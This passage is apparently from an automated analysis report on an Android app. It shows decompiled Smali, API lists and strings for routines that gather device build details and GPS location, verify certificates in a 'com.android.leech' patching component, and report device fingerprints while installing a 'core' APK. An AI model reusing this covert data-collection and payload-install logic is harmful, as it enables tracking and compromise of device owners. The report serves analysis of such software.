                                                                              139invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              141const-string v1, "a_cpu1"
                                                                              143sget-object v2, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                                                              145invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              147const-string v1, "a_cpu2"
                                                                              149sget-object v2, Landroid/os/Build;->CPU_ABI2:Ljava/lang/String;
                                                                              151invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              153const-string v1, "a_ra"
                                                                              155sget-object v2, Landroid/os/Build;->RADIO:Ljava/lang/String;
                                                                              157invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              158sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              159const/16 v2, 0x17
                                                                              160if-lt v1, v2, :cond_f0
                                                                              162const-string v1, "a_bos"
                                                                              164sget-object v2, Landroid/os/Build$VERSION;->BASE_OS:Ljava/lang/String;
                                                                              166invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              168const-string v1, "a_pre"
                                                                              169sget v2, Landroid/os/Build$VERSION;->PREVIEW_SDK_INT:I
                                                                              171invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              173const-string v1, "a_sp"
                                                                              175sget-object v2, Landroid/os/Build$VERSION;->SECURITY_PATCH:Ljava/lang/String;
                                                                              177invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              178cond_f0:
                                                                              179const-string v1, "a_cn"
                                                                              181sget-object v2, Landroid/os/Build$VERSION;->CODENAME:Ljava/lang/String;
                                                                              183invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              185const-string v1, "a_intl"
                                                                              187sget-object v2, Landroid/os/Build$VERSION;->INCREMENTAL:Ljava/lang/String;
                                                                              189invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              190goto_fe: return-object v0
                                                                              191catch_ff: move-exception v1
                                                                              192goto/16 :goto_fe
                                                                              APIs
                                                                              • android.location.Location.getLongitude
                                                                              • android.location.Location.getLatitude
                                                                              • android.location.Location.getAccuracy
                                                                              • android.location.Location.getAltitude
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.location.Location.getTime
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • org.json.JSONObject.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.Context.getSharedPreferences
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.SharedPreferences.edit
                                                                              • org.json.JSONObject.toString
                                                                              • android.content.SharedPreferences$Editor.putString
                                                                              • android.content.SharedPreferences$Editor.commit
                                                                              Strings
                                                                              • UMSysLocationCache
                                                                              • lon is
                                                                              • , lat is
                                                                              • , acc is
                                                                              • , alt is
                                                                              • lng
                                                                              • lat
                                                                              • ts
                                                                              • acc
                                                                              • alt
                                                                              • locationJSONObject is
                                                                              • umeng2_common_config
                                                                              • e is
                                                                              • location_json
                                                                              Position Instruction Meta Information
                                                                              0if-eqz p1, :cond_e4
                                                                              2invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D
                                                                              3move-result-wide v0
                                                                              5invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D
                                                                              6move-result-wide v2
                                                                              8invoke-virtual {p1}, Landroid/location/Location;->getAccuracy()F
                                                                              9move-result v4
                                                                              11invoke-virtual {p1}, Landroid/location/Location;->getAltitude()D
                                                                              12move-result-wide v5
                                                                              14const-string v7, "UMSysLocationCache"
                                                                              15const/4 v8, 0x1
                                                                              16new-array v8, v8, [Ljava/lang/Object;
                                                                              17const/4 v9, 0x0
                                                                              18new-instance v10, Ljava/lang/StringBuilder;
                                                                              20invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
                                                                              22const-string v11, "lon is "
                                                                              24invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              25move-result-object v10
                                                                              27invoke-virtual {v10, v0, v1}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
                                                                              28move-result-object v10
                                                                              30const-string v11, ", lat is "
                                                                              32invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              33move-result-object v10
                                                                              35invoke-virtual {v10, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
                                                                              36move-result-object v10
                                                                              38const-string v11, ", acc is "
                                                                              40invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              41move-result-object v10
                                                                              43invoke-virtual {v10, v4}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                                                              44move-result-object v10
                                                                              46const-string v11, ", alt is "
                                                                              48invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              49move-result-object v10
                                                                              51invoke-virtual {v10, v5, v6}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
                                                                              52move-result-object v10
                                                                              54invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              55move-result-object v10
                                                                              56aput-object v10, v8, v9
                                                                              58invoke-static {v7, v8}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              59const-wide/16 v7, 0x0
                                                                              60cmpl-double v7, v0, v7
                                                                              61if-eqz v7, :cond_e4
                                                                              62const-wide/16 v7, 0x0
                                                                              63cmpl-double v7, v2, v7
                                                                              64if-eqz v7, :cond_e4
                                                                              66invoke-virtual {p1}, Landroid/location/Location;->getTime()J
                                                                              67move-result-wide v7
                                                                              68new-instance v9, Lorg/json/JSONObject;
                                                                              70invoke-direct {v9}, Lorg/json/JSONObject;-><init>()V
                                                                              71try_start_63:
                                                                              72const-string v10, "lng"
                                                                              74invoke-virtual {v9, v10, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
                                                                              76const-string v0, "lat"
                                                                              78invoke-virtual {v9, v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
                                                                              80const-string v0, "ts"
                                                                              82invoke-virtual {v9, v0, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              84const-string v0, "acc"
                                                                              85float-to-double v1, v4
                                                                              87invoke-virtual {v9, v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
                                                                              89const-string v0, "alt"
                                                                              91invoke-virtual {v9, v0, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
                                                                              92goto_7d:
                                                                              93const-string v0, "UMSysLocationCache"
                                                                              94const/4 v1, 0x1
                                                                              95new-array v1, v1, [Ljava/lang/Object;
                                                                              96const/4 v2, 0x0
                                                                              97new-instance v3, Ljava/lang/StringBuilder;
                                                                              99invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              101const-string v4, "locationJSONObject is "
                                                                              103invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              104move-result-object v3
                                                                              106invoke-virtual {v9}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              107move-result-object v4
                                                                              109invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              110move-result-object v3
                                                                              112invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              113move-result-object v3
                                                                              114aput-object v3, v1, v2
                                                                              116invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              118invoke-static {}, LuAgent/commonsdk/proguard/e;->a()Ljava/lang/Object;
                                                                              119move-result-object v1
                                                                              120monitor-enter v1
                                                                              121try_start_a4:
                                                                              122iget-object v0, p0, LuAgent/commonsdk/proguard/e$1$1;->b:LuAgent/commonsdk/proguard/e$1;
                                                                              124iget-object v0, v0, LuAgent/commonsdk/proguard/e$1;->a:Landroid/content/Context;
                                                                              126const-string v2, "umeng2_common_config"
                                                                              127const/4 v3, 0x0
                                                                              129invoke-virtual {v0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                                                                              130try_end_ae: move-result-object v0
                                                                              131if-nez v0, :cond_d3
                                                                              132try_start_b1: monitor-exit v1
                                                                              133goto_b2: return-void
                                                                              134catch_b3: move-exception v0
                                                                              136const-string v1, "UMSysLocationCache"
                                                                              137const/4 v2, 0x1
                                                                              138new-array v2, v2, [Ljava/lang/Object;
                                                                              139const/4 v3, 0x0
                                                                              140new-instance v4, Ljava/lang/StringBuilder;
                                                                              142invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              144const-string v5, "e is "
                                                                              146invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              147move-result-object v4
                                                                              149invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              150move-result-object v0
                                                                              152invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              153move-result-object v0
                                                                              154aput-object v0, v2, v3
                                                                              156invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              157goto/16 :goto_7d
                                                                              158try_start_d3:
                                                                              159invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                                                                              160move-result-object v0
                                                                              162const-string v2, "location_json"
                                                                              164invoke-virtual {v9}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              165move-result-object v3
                                                                              167invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                                                                              169invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                                                                              170goto_e3: monitor-exit v1
                                                                              171cond_e4:
                                                                              172iget-object v0, p0, LuAgent/commonsdk/proguard/e$1$1;->a:LuAgent/commonsdk/proguard/d;
                                                                              174invoke-virtual {v0}, LuAgent/commonsdk/proguard/d;->a()V
                                                                              175goto/16 :goto_b2
                                                                              176catch_ea: move-exception v0
                                                                              177try_start_eb:
                                                                              178iget-object v2, p0, LuAgent/commonsdk/proguard/e$1$1;->b:LuAgent/commonsdk/proguard/e$1;
                                                                              180iget-object v2, v2, LuAgent/commonsdk/proguard/e$1;->a:Landroid/content/Context;
                                                                              182invoke-static {v2, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              183goto/16 :goto_e3
                                                                              184catchall_f3: move-exception v0
                                                                              185monitor-exit v1
                                                                              186try_end_f5: throw v0
                                                                              APIs
                                                                              • java.util.Date.<init>
                                                                              • java.util.Date.before
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              • java.util.Date.after
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              • java.security.Signature.getInstance
                                                                              • java.security.Signature.initVerify
                                                                              • java.security.Signature.update
                                                                              • java.security.Signature.verify
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.CertException.<init>
                                                                              Strings
                                                                              • ?? certificate is not signed yet ??
                                                                              • Signature ... by <
                                                                              • > for <
                                                                              • >
                                                                              • Unsupported signature algorithm (
                                                                              • )
                                                                              • Algorithm (
                                                                              • ) rejected public key
                                                                              • Signature by <
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "issuerPublicKey" # Ljava/security/PublicKey;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              4}
                                                                              5.end annotation
                                                                              6.prologue
                                                                              7const/4 v8, 0x1
                                                                              8new-instance v2, Ljava/util/Date;
                                                                              10invoke-direct {v2}, Ljava/util/Date;-><init>()V
                                                                              12iget-object v4, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->notbefore:Ljava/util/Date;
                                                                              14invoke-virtual {v2, v4}, Ljava/util/Date;->before(Ljava/util/Date;)Z
                                                                              15move-result v4
                                                                              16if-eqz v4, :cond_15
                                                                              17new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              18const/4 v5, 0x3
                                                                              20invoke-direct {v4, v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(I)V
                                                                              21throw v4
                                                                              22cond_15:
                                                                              23iget-object v4, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->notafter:Ljava/util/Date;
                                                                              25invoke-virtual {v2, v4}, Ljava/util/Date;->after(Ljava/util/Date;)Z
                                                                              26move-result v4
                                                                              27if-eqz v4, :cond_24
                                                                              28new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              29const/4 v5, 0x4
                                                                              31invoke-direct {v4, v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(I)V
                                                                              32throw v4
                                                                              33cond_24:
                                                                              34iget-object v4, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->signedCert:[B
                                                                              35if-nez v4, :cond_30
                                                                              36new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              38const-string v5, "?? certificate is not signed yet ??"
                                                                              40invoke-direct {v4, v8, v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(ILjava/lang/String;)V
                                                                              41throw v4
                                                                              42cond_30: const/4 v0, 0x0
                                                                              43const/4 v3, 0x0
                                                                              44try_start_32:
                                                                              45iget-object v4, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->issuerSigAlg:Lcom/android/leech/patch/apksigner/sun/security/x509/AlgorithmId;
                                                                              47invoke-virtual {v4}, Lcom/android/leech/patch/apksigner/sun/security/x509/AlgorithmId;->getName()Ljava/lang/String;
                                                                              48move-result-object v0
                                                                              50invoke-static {v0}, Ljava/security/Signature;->getInstance(Ljava/lang/String;)Ljava/security/Signature;
                                                                              51move-result-object v3
                                                                              53invoke-virtual {v3, p1}, Ljava/security/Signature;->initVerify(Ljava/security/PublicKey;)V
                                                                              55iget-object v4, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->rawCert:[B
                                                                              56const/4 v5, 0x0
                                                                              58iget-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->rawCert:[B
                                                                              59array-length v6, v6
                                                                              61invoke-virtual {v3, v4, v5, v6}, Ljava/security/Signature;->update([BII)V
                                                                              63iget-object v4, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->signature:[B
                                                                              65invoke-virtual {v3, v4}, Ljava/security/Signature;->verify([B)Z
                                                                              66move-result v4
                                                                              67if-nez v4, :cond_ee
                                                                              68new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              69const/4 v5, 0x1
                                                                              70new-instance v6, Ljava/lang/StringBuilder;
                                                                              72invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              74const-string v7, "Signature ... by <"
                                                                              76invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              77move-result-object v6
                                                                              79iget-object v7, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->issuer:Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;
                                                                              81invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              82move-result-object v6
                                                                              84const-string v7, "> for <"
                                                                              86invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              87move-result-object v6
                                                                              89iget-object v7, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->subject:Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;
                                                                              91invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              92move-result-object v6
                                                                              94const-string v7, ">"
                                                                              96invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              97move-result-object v6
                                                                              99invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              100move-result-object v6
                                                                              102invoke-direct {v4, v5, v6}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(ILjava/lang/String;)V
                                                                              103throw v4
                                                                              104catch_7e: move-exception v1
                                                                              105new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              106new-instance v5, Ljava/lang/StringBuilder;
                                                                              108invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              110const-string v6, "Unsupported signature algorithm ("
                                                                              112invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              113move-result-object v5
                                                                              115invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              116move-result-object v5
                                                                              118const-string v6, ")"
                                                                              120invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              121move-result-object v5
                                                                              123invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              124move-result-object v5
                                                                              126invoke-direct {v4, v8, v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(ILjava/lang/String;)V
                                                                              127throw v4
                                                                              128catch_9e: move-exception v1
                                                                              129new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              130const/16 v5, 0x9
                                                                              131new-instance v6, Ljava/lang/StringBuilder;
                                                                              133invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              135const-string v7, "Algorithm ("
                                                                              137invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              138move-result-object v6
                                                                              140invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              141move-result-object v6
                                                                              143const-string v7, ") rejected public key"
                                                                              145invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              146move-result-object v6
                                                                              148invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              149move-result-object v6
                                                                              151invoke-direct {v4, v5, v6}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(ILjava/lang/String;)V
                                                                              152throw v4
                                                                              153catch_c0: move-exception v1
                                                                              154new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;
                                                                              155new-instance v5, Ljava/lang/StringBuilder;
                                                                              157invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              159const-string v6, "Signature by <"
                                                                              161invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              162move-result-object v5
                                                                              164iget-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->issuer:Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;
                                                                              166invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              167move-result-object v5
                                                                              169const-string v6, "> for <"
                                                                              171invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              172move-result-object v5
                                                                              174iget-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509Cert;->subject:Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;
                                                                              176invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              177move-result-object v5
                                                                              179const-string v6, ">"
                                                                              181invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              182move-result-object v5
                                                                              184invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              185move-result-object v5
                                                                              187invoke-direct {v4, v8, v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertException;-><init>(ILjava/lang/String;)V
                                                                              188throw v4
                                                                              189cond_ee: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.os.Build.BOARD:Ljava/lang/String
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.os.Build$VERSION.SECURITY_PATCH:Ljava/lang/String
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.os.Build.BOARD:Ljava/lang/String
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.os.Build$VERSION.SECURITY_PATCH:Ljava/lang/String
                                                                              Strings
                                                                              • CoreInstall_Limit
                                                                              • sendCoreSucc
                                                                              • Main
                                                                              • CoreSucc_times
                                                                              • CoreSucc_BOARD
                                                                              • CoreSucc_BRAND
                                                                              • CoreSucc_MODEL
                                                                              • CoreSucc_FINGERPRINT
                                                                              • CoreSucc_SDK_INT
                                                                              • CoreSucc_SECURITY_PATCH
                                                                              • getOptimalPkg
                                                                              • skip
                                                                              • isPatchApk:
                                                                              • sendCoreFail
                                                                              • CoreError_times
                                                                              • CoreError_BOARD
                                                                              • CoreError_BRAND
                                                                              • CoreError_MODEL
                                                                              • CoreError_FINGERPRINT
                                                                              • CoreError_SDK_INT
                                                                              • CoreError_SECURITY_PATCH
                                                                              • corefile
                                                                              • getCoreApkBytes
                                                                              • by CoreUpdateRequester
                                                                              • corePath has file
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.param p1, "installMode" # I
                                                                              2.prologue
                                                                              3const-class v5, Lcom/android/leech/main/Main;
                                                                              4monitor-enter v5
                                                                              5try_start_3:
                                                                              6const-string v4, "CoreInstall_Limit"
                                                                              7const/4 v6, 0x0
                                                                              9invoke-static {p0, v4, v6}, Lcom/android/leech/base/util/ShareUtils;->getIntValue(Landroid/content/Context;Ljava/lang/String;I)I
                                                                              10move-result v3
                                                                              12invoke-static {p0}, Lcom/android/leech/base/util/CoreUtils;->isInstall(Landroid/content/Context;)Z
                                                                              13move-result v4
                                                                              14if-eqz v4, :cond_a5
                                                                              15if-eqz v3, :cond_84
                                                                              17const-string v4, "sendCoreSucc"
                                                                              18const/4 v6, 0x0
                                                                              20invoke-static {p0, v4, v6}, Lcom/android/leech/base/util/ShareUtils;->getBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)Z
                                                                              21move-result v2
                                                                              22if-nez v2, :cond_84
                                                                              24const-string v4, "Main"
                                                                              26const-string v6, "CoreSucc_times"
                                                                              27new-instance v7, Ljava/lang/StringBuilder;
                                                                              29invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              31const-string v8, ""
                                                                              33invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              34move-result-object v7
                                                                              36invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              37move-result-object v7
                                                                              39invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              40move-result-object v7
                                                                              42invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              44const-string v4, "Main"
                                                                              46const-string v6, "CoreSucc_BOARD"
                                                                              48sget-object v7, Landroid/os/Build;->BOARD:Ljava/lang/String;
                                                                              50invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              52const-string v4, "Main"
                                                                              54const-string v6, "CoreSucc_BRAND"
                                                                              56sget-object v7, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              58invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              60const-string v4, "Main"
                                                                              62const-string v6, "CoreSucc_MODEL"
                                                                              64sget-object v7, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              66invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              68const-string v4, "Main"
                                                                              70const-string v6, "CoreSucc_FINGERPRINT"
                                                                              72sget-object v7, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                                              74invoke-static {v4, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              76const-string v4, "Main"
                                                                              78const-string v6, "CoreSucc_SDK_INT"
                                                                              79new-instance v7, Ljava/lang/StringBuilder;
                                                                              81invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              82sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
